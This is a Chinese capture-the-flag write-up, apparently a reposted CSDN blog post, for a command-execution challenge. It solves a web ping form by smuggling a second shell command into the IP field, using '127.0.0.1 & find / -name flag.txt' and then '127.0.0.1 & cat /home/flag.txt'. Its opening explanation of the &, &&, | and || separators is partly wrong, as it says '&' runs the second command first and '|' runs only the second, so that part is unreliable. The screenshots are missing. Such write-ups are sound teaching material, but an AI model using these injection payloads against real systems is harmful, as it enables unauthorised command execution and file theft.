第十一题:command_execution

知识共享许可协议 Creative Commons

第十一题:command_execution

在这里插入图片描述

目标:

掌握有关命令执行的知识
windows或linux下:

command1 & command2 :先执行command2后执行command1
command1 && command2 :先执行command1后执行command2
command1 | command2 :只执行command2
command1 || command2 :command1执行失败,再执行command2(若command1执行成功,就不再执行command2)

Writeup

(1)首先我们访问目标网址后,出现如下图所示
在这里插入图片描述
(2)那我们就来尝试ping一下本地地址127.0.0.1
在这里插入图片描述
(3)这里它是ping目标ip3次
这里我们尝试使用命令连接符,因为我们知道flag在flag.txt中,所以我们查找该文件

127.0.0.1 & find / -name flag.txt

在这里插入图片描述
(4)哦~原来在/home/目录下,最后我们cat它

127.0.0.1 & cat /home/flag.txt

在这里插入图片描述


注:我们也可以使用hackbar进行命令执行
在这里插入图片描述
由上图中nmae的值可以看出,该网址POST提交时接收值的参数是target,也就是后端处理前端提交的表单时所使用的"变量"。就是后端有一个$_POST['target']与前端的name="target"中的target相对应,因此,我们也可以用hackbar进行post提交
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_41617034/article/details/91837257